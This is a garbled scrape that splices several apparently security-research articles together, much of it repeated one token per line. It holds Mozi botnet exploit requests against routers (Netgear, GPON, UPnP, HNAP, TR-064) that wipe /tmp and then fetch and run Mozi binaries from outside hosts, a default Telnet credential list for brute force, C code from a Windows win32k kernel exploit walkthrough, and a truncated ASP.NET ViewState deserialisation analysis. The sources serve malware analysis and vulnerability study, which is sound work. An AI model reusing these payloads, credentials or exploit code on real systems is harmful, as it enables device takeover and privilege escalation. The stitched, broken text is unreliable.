cd
+
/
tmp
;
rm
+
rf
+
*
;
wget
+
http
:
//27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/
setup
.
cgi
?
next_file
=
netgear
.
cfg
&
amp
;
todo
=
syscmd
&
amp
;
cmd
=
rm
+
rf
+
/
tmp
/
*
;
wget
+
http
:
//192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
POST
/
GponForm
/
diag_Form
?
images
/
HTTP
/
1.1
Host
:
127.0.0.1
:
80
Connection
:
keep
-
alive
Accept
-
Encoding
:
gzip
,
deflate
Accept
:
*
/
*
User
-
Agent
:
Hello
,
World
Content
-
Length
:
118
XWebPageName
=
diag
&
amp
;
diag_action
=
ping
&
amp
;
wan_conlist
=
0
&
amp
;
dest_host
=
`
`
;
wget
+
http
:
//%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
POST
/
picsdesc
.
xml
HTTP
/
1.1
Content
-
Length
:
630
Accept
-
Encoding
:
gzip
,
deflate
SOAPAction
:
urn
:
schemas
-
upnp
-
org
:
service
:
WANIPConnection
:
1
#AddPortMapping
Accept
:
/
User
-
Agent
:
Hello
-
World
Connection
:
keep
-
alive
&
lt
;
?
xml
version
=
"1.0"
?
>
&
lt
;
s
:
Envelope
xmlns
:
s
=
"http://schemas.xmlsoap.org/soap/envelope//"
s
:
encodingStyle
=
"http://schemas.xmlsoap.org/soap/encoding/"
>
&
lt
;
s
:
Body
>
&
lt
;
u
:
AddPortMapping
xmlns
:
u
=
"urn:schemas-upnp-org:service:WANIPConnection:1"
>
&
lt
;
NewRemoteHost
>
&
lt
;
/
NewRemoteHost
>
&
lt
;
NewExternalPort
>
47450
&
lt
;
/
NewExternalPort
>
&
lt
;
NewProtocol
>
TCP
&
lt
;
/
NewProtocol
>
&
lt
;
NewInternalPort
>
44382
&
lt
;
/
NewInternalPort
>
&
lt
;
NewInternalClient
>
cd
/
var
/
;
wget
http
:
//%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
POST
/
HNAP1
/
HTTP
/
1.0
Host
:
%
s
:
80
Content
-
Type
:
text
/
xml
;
charset
=
"utf-8"
SOAPAction
:
http
:
//purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content
-
Length
:
640
&
lt
;
?
xml
version
=
"1.0"
encoding
=
"utf-8"
?
>
&
lt
;
soap
:
Envelope
xmlns
:
xsi
=
"http://www.w3.org/2001/XMLSchema-instance"
xmlns
:
xsd
=
"http://www.w3.org/2001/XMLSchema"
xmlns
:
soap
=
"http://schemas.xmlsoap.org/soap/envelope/"
>
&
lt
;
soap
:
Body
>
&
lt
;
AddPortMapping
xmlns
=
"http://purenetworks.com/HNAP1/"
>
&
lt
;
PortMappingDescription
>
foobar
&
lt
;
/
PortMappingDescription
>
&
lt
;
InternalClient
>
192.168.0.100
&
lt
;
/
InternalClient
>
&
lt
;
PortMappingProtocol
>
TCP
&
lt
;
/
PortMappingProtocol
>
&
lt
;
ExternalPort
>
1234
&
lt
;
/
ExternalPort
>
&
lt
;
InternalPort
>
1234
&
lt
;
/
InternalPort
>
&
lt
;
/
AddPortMapping
>
&
lt
;
/
soap
:
Body
>
&
lt
;
/
soap
:
Envelope
>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
GET
/
shell
?
cd
+
/
tmp
;
rm
+
-
rf
+
*
;
wget
+
http
:
//%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User
-
Agent
:
Hello
,
world
Host
:
%
s
:
80
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
webp
,
*
/
*
;
q
=
0.8
Connection
:
keep
-
alive
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
POST
/
UD
/
act
?
1
HTTP
/
1.1
Host
:
127.0.0.1
:
7574
User
-
Agent
:
Hello
,
world
SOAPAction
:
urn
:
dslforum
-
org
:
service
:
Time
:
1
#SetNTPServers
Content
-
Type
:
text
/
xml
Content
-
Length
:
640
&
lt
;
?
xml
version
=
"1.0"
?
>
&
lt
;
SOAP
-
ENV
:
Envelope
xmlns
:
SOAP
-
ENV
=
"http://schemas.xmlsoap.org/soap/envelope/"
SOAP
-
ENV
:
encodingStyle
=
"http://schemas.xmlsoap.org/soap/encoding/"
>
&
lt
;
SOAP
-
ENV
:
Body
>
&
lt
;
u
:
SetNTPServers
xmlns
:
u
=
"
urn
:
dslforum
-
org
:
service
:
Time
:
1
&
amp
;
qu
ot
;
>
&
lt
;
NewNTPServer1
>
`
cd
/
tmp
&
amp
;
&
amp
;
rm
-
rf *
&
amp
;
&
amp
;
/
bin
/
busybox
wget
http
:
//%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
POST
/
soap
.
cgi
?
service
=
WANIPConn1
HTTP
/
1.1
Host
:
%
s
:
49152
Content
-
Length
:
630
Accept
-
Encoding
:
gzip
,
deflate
SOAPAction
:
urn
:
schemas
-
upnp
-
org
:
service
:
WANIPConnection
:
1
#AddPortMapping
Accept
:
*
/
*
User
-
Agent
:
Hello
,
World
Connection
:
keep
-
alive
&
lt
;
?
xml
version
=
"1.0"
?
>
&
lt
;
s
:
Envelope
xmlns
:
s
=
"http://schemas.xmlsoap.org/soap/envelope/"
s
:
encodingStyle
=
"http://schemas.xmlsoap.org/soap/encoding/"
>
&
lt
;
SOAP
-
ENV
:
Body
>
&
lt
;
m
:
AddPortMapping
xmlns
:
m
=
"urn:schemas-upnp-org:service:WANIPConnection:1"
>
&
lt
;
NewPortMappingDescription
>
&
lt
;
NewPortMappingDescription
>
&
lt
;
NewLeaseDuration
>
&
lt
;
/
NewLeaseDuration
>
&
lt
;
NewInternalClient
>
`
cd
/
tmp
;
rm
-
rf *
;
wget
http
:
//%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
Username
|
Password
|
admin
|
00000000
|
telnetadmin
|
1111
|
!!Huawei
|
1111111
|
admin
|
1234
|
root
|
12345
|
root
|
123456
|
keomeo
|
2010vesta
|
support
|
2011vesta
|
CMCCAdmin
|
25802580
|
e8telnet
|
54321
|
e8ehome1
|
666666
|
e8ehome
|
7ujMko0admin
|
user
|
7ujMko0vizxv
|
mother
|
888888
|
root
|
88888888
|
Administrator
|
@HuaweiHgw
|
service
|
BrAhMoS@15
|
supervisor
|
CMCCAdmin
|
guest
|
CUAdmin
|
admin1
|
Fireitup
|
administrator
|
GM8182
|
ubnt
|
PhrQjGzk
|
tech
|
Pon521
|
admin
|
Zte521
|
admin
|
admin
|
telnet
|
admin1234
|
|
adminHW
|
|
adminpass
|
|
anko
|
|
cat1029
|
|
chzhdpl
|
|
conexant
|
|
default
|
|
dreambox
|
|
e2008jl
|
|
e8ehome
|
|
e8ehome1
|
|
e8telnet
|
|
epicrouter
|
|
fucker
|
|
gpon
|
|
guest
|
|
gw1admin
|
|
h@32LuyD
|
|
hg2x0
|
|
hi3518
|
|
ikwb
|
|
juantech
|
|
jvbzd
|
|
keomeo
|
|
klv123
|
|
klv1234
|
|
meinsm
|
|
pass
|
|
password
|
|
plumeria0077
|
|
r@p8p0r+
|
|
realtek
|
|
root
|
|
service
|
|
smcadmin
|
|
supervisor
|
|
support
|
|
system
|
|
tech
|
|
telnet
|
|
telnetadmin
|
|
ubnt
|
|
user
|
|
v2mprt
|
|
vizxv
|
|
xJ4pCYeW
|
|
xc3511
|
|
xmhdipc
|
|
zlxx
|
|
zte
|
|
|
|
|
SHA256
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1347/
2020-11-03
作者:Kerne7@知道创宇404实验室
时间:2020年9月28日
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。
首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。
pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
HMENU
hMenuRoot
=
CreatePopupMenu
(
)
;
HMENU
hMenuSub
=
CreatePopupMenu
(
)
;
MENUINFO
mi
=
{
0
}
;
mi
.
cbSize
=
sizeof
(
MENUINFO
)
;
mi
.
fMask
=
MIM_STYLE
;
mi
.
dwStyle
=
MNS_MODELESS
|
MNS_DRAGDROP
;
SetMenuInfo
(
hMenuRoot
,
&
amp
;
mi
)
;
SetMenuInfo
(
hMenuSub
,
&
amp
;
mi
)
;
AppendMenuA
(
hMenuRoot
,
MF_BYPOSITION
|
MF_POPUP
,
(
UINT_PTR
)
hMenuSub
,
"Root"
)
;
AppendMenuA
(
hMenuSub
,
MF_BYPOSITION
|
MF_POPUP
,
0
,
"Sub"
)
;
WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
WNDCLASSEXA
wndClass
=
{
0
}
;
wndClass
.
cbSize
=
sizeof
(
WNDCLASSEXA
)
;
wndClass
.
lpfnWndProc
=
DefWindowProc
;
wndClass
.
cbClsExtra
=
0
;
wndClass
.
cbWndExtra
=
0
;
wndClass
.
hInstance
=
hInst
;
wndClass
.
lpszMenuName
=
0
;
wndClass
.
lpszClassName
=
"WNDCLASSMAIN"
;
RegisterClassExA
(
&
amp
;
wndClass
)
;
hWndMain
=
CreateWindowA
(
"WNDCLASSMAIN"
,
"CVE"
,
WS_DISABLED
,
0
,
0
,
1
,
1
,
nullptr
,
nullptr
,
hInst
,
nullptr
)
;
接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
TrackPopupMenuEx
(
hMenuRoot
,
0
,
0
,
0
,
hWndMain
,
NULL
)
;
MSG
msg
=
{
0
}
;
while
(
GetMessageW
(
&
amp
;
msg
,
NULL
,
0
,
0
)
)
{
TranslateMessage
(
&
amp
;
msg
)
;
DispatchMessageW
(
&
amp
;
msg
)
;
if
(
iMenuCreated
&
gt
;
=
1
)
{
bOnDraging
=
TRUE
;
pfnNtUserMNDragOver
(
&
amp
;
pt
,
buf
)
;
break
;
}
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (!bOnDraging) {
return CallNextHookEx(0, code, wParam, lParam);
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
bIsDefWndProc = FALSE;
printf("[*] HWND: %p \n", cwp->hwnd);
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
return CallNextHookEx(0, code, wParam, lParam);
1
2
3
4
5
6
7
8
9
10
11
12
13
LRESULT
CALLBACK
WindowHookProc
(
INT
code
,
WPARAM
wParam
,
LPARAM
lParam
)
{
tagCWPSTRUCT *
cwp
=
(
tagCWPSTRUCT *
)
lParam
;
if
(
!
bOnDraging
)
{
return
CallNextHookEx
(
0
,
code
,
wParam
,
lParam
)
;
}
if
(
(
cwp
-
&
gt
;
message
==
WM_MN_FINDMENUWINDOWFROMPOINT
)
)
{
bIsDefWndProc
=
FALSE
;
printf
(
"[*] HWND: %p \n"
,
cwp
-
&
gt
;
hwnd
)
;
SetWindowLongPtr
(
cwp
-
&
gt
;
hwnd
,
GWLP_WNDPROC
,
(
ULONG64
)
SubMenuProc
)
;
}
return
CallNextHookEx
(
0
,
code
,
wParam
,
lParam
)
;
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
switch (iMenuCreated)
case 0:
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
break;
printf("[*] MSG\n");
iMenuCreated++;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
VOID
CALLBACK
DisplayEventProc
(
HWINEVENTHOOK
hWinEventHook
,
DWORD
event
,
HWND
hwnd
,
LONG
idObject
,
LONG
idChild
,
DWORD
idEventThread
,
DWORD
dwmsEventTime
)
{
switch
(
iMenuCreated
)
{
case
0
:
SendMessageW
(
hwnd
,
WM_LBUTTONDOWN
,
0
,
0x00050005
)
;
break
;
case
1
:
SendMessageW
(
hwnd
,
WM_MOUSEMOVE
,
0
,
0x00060006
)
;
break
;
}
printf
(
"[*] MSG\n"
)
;
iMenuCreated
++
;
}
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
return (ULONG)hWndFakeMenu;
return DefWindowProc(hwnd, msg, wParam, lParam);
LRESULT
WINAPI
SubMenuProc
(
HWND
hwnd
,
UINT
msg
,
WPARAM
wParam
,
LPARAM
lParam
)
{
if
(
msg
==
WM_MN_FINDMENUWINDOWFROMPOINT
)
{
SetWindowLongPtr
(
hwnd
,
GWLP_WNDPROC
,
(
ULONG
)
DefWindowProc
)
;
return
(
ULONG
)
hWndFakeMenu
;
}
return
DefWindowProc
(
hwnd
,
msg
,
wParam
,
lParam
)
;
}
如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1351/
2020-11-03
作者:HuanGMz@知道创宇404实验室
时间:2020年10月30日
.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
初接触.NET,文中谬误纰漏之处在所难免,如蒙指教不胜感激。
1. 调试.Net FrameWork
1.1 .Net 源码
对于刚接触.Net反序列化,甚至刚接触C#的朋友来说,有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework 的底层调试。
.Net Framework 已经被微软
开源
了,你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括 .Net 4.5.1 到 4.8。但是要注意,虽然微软开源了.Net 的源码,以及相应的VS项目文件,但是只能用于代码浏览,而无法进行编译。因为缺少重要组件(包括xaml文件和资源文件)。
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
// We only support serialization of encrypted or encoded data through our internal Page constructors
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
#pragma warning restore 618 // calling obsolete methods
#endif // !FEATURE_PAL
result = Convert.ToBase64String(buffer, 0, length);
finally {
ReleaseMemoryStream(ms);
return result;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private
string
Serialize
(
object
stateGraph
,
Purpose
purpose
)
{
string
result
=
null
;
MemoryStream
ms
=
GetMemoryStream
(
)
;
try
{
Serialize
(
ms
,
stateGraph
)
;
ms
.
SetLength
(
ms
.
Position
)
;
byte
[
]
buffer
=
ms
.
GetBuffer
(
)
;
int
length
=
(
int
)
ms
.
Length
;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
// We only support serialization of encrypted or encoded data through our internal Page constructors
if
(
AspNetCryptoServiceProvider
.
Instance
.
IsDefaultProvider
&
amp
;
&
amp
;
!
_forceLegacyCryptography
)
{
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
.
.
.
}
else
{
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
RequiresViewStateEncryptionInternal
)
{
buffer
=
MachineKeySection
.
EncryptOrDecryptData
(
true
,
buffer
,
GetMacKeyModifier
(
)
,
0
,
length
)
;
length
=
buffer
.
Length
;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else
if
(
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
EnableViewStateMac
)
||
_macKeyBytes
!=
null
)
{
buffer
=
MachineKeySection
.
GetEncodedData
(
buffer
,
GetMacKeyModifier
(
)
,
0
,
ref
length
)
;
}
#pragma warning restore 618 // calling obsolete methods
}
#endif // !FEATURE_PAL
result
=
Convert
.
ToBase64String
(
buffer
,
0
,
length
)
;
}
finally
{
ReleaseMemoryStream
(
ms
)
;
}
return
result
;
}
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
if
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
RequiresViewStateEncryptionInternal
)
{
buffer
=
MachineKeySection
.
EncryptOrDecryptData
(
true
,
buffer
,
GetMacKeyModifier
(
)
,
0
,
length
)
;
length
=
buffer
.
Length
;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else
if
(
(
_page
!=
null
&
amp
;
&
amp
;
_page
.
EnableViewStateMac
)
||
_macKeyBytes
!=
null
)
{
buffer
=
MachineKeySection
.
GetEncodedData
(
buffer
,
GetMacKeyModifier
(
)
,
0
,
ref
length
)
;
}
internal bool RequiresViewStateEncryptionInternal {
get {
return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||
_viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;
get { return _enableViewStateMac; }
set {
// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
// have an mechanism that forces this to keep its default value of 'true'. We only
// allow actually setting the value if this enforcement mechanism is inactive.
if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {
_enableViewStateMac = value;
public
bool
EnableViewStateMac
{
get
{
return
_enableViewStateMac
;
}
set
{
// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
// have an mechanism that forces this to keep its default value of 'true'. We only
// allow actually setting the value if this enforcement mechanism is inactive.
if
(
!
EnableViewStateMacRegistryHelper
.
EnforceViewStateMac
)
{
_enableViewStateMac
=
value
;
}
}
}
_page = this; // Set the page to ourselves
_enableViewStateMac = EnableViewStateMacDefault;
// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,
// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if
// the patch hasn't been activated on this machine.
public static readonly bool EnforceViewStateMac;
static EnableViewStateMacRegistryHelper() {
// If the reg key is applied, change the default values.
bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();
if (regKeyIsActive) {
EnforceViewStateMac = true;
SuppressMacValidationErrorsFromCrossPagePostbacks = true;
// Override the defaults with what the developer specified.
if (AppSettings.AllowInsecureDeserialization.HasValue) {
EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;
// Exception: MAC errors from cross-page postbacks should be suppressed
// if either the <appSettings> switch is set or the reg key is set.
SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static
EnableViewStateMacRegistryHelper
(
)
{
// If the reg key is applied, change the default values.
bool
regKeyIsActive
=
IsMacEnforcementEnabledViaRegistry
(
)
;
if
(
regKeyIsActive
)
{
EnforceViewStateMac
=
true
;
SuppressMacValidationErrorsFromCrossPagePostbacks
=
true
;
}
// Override the defaults with what the developer specified.
if
(
AppSettings
.
AllowInsecureDeserialization
.
HasValue
)
{
EnforceViewStateMac
=
!
AppSettings
.
AllowInsecureDeserialization
.
Value
;
// Exception: MAC errors from cross-page postbacks should be suppressed
// if either the <appSettings> switch is set or the reg key is set.
SuppressMacValidationErrorsFromCrossPagePostbacks
|=
!
AppSettings
.
AllowInsecureDeserialization
.
Value
;
}
.
.
.
private static bool IsMacEnforcementEnabledViaRegistry() {
try {
string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));
int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);
return (rawValue != 0);
catch {
// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
return true;
private
static
bool
IsMacEnforcementEnabledViaRegistry
(
)
{
try
{
string
keyName
=
String
.
Format
(
CultureInfo
.
InvariantCulture
,
@
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}"
,
Environment
.
Version
.
ToString
(
3
)
)
;
int
rawValue
=
(
int
)
Registry
.
GetValue
(
keyName
,
"AspNetEnforceViewStateMac"
,
defaultValue
:
0
/* disabled by default */
)
;
return
(
rawValue
!=
0
)
;
}
catch
{
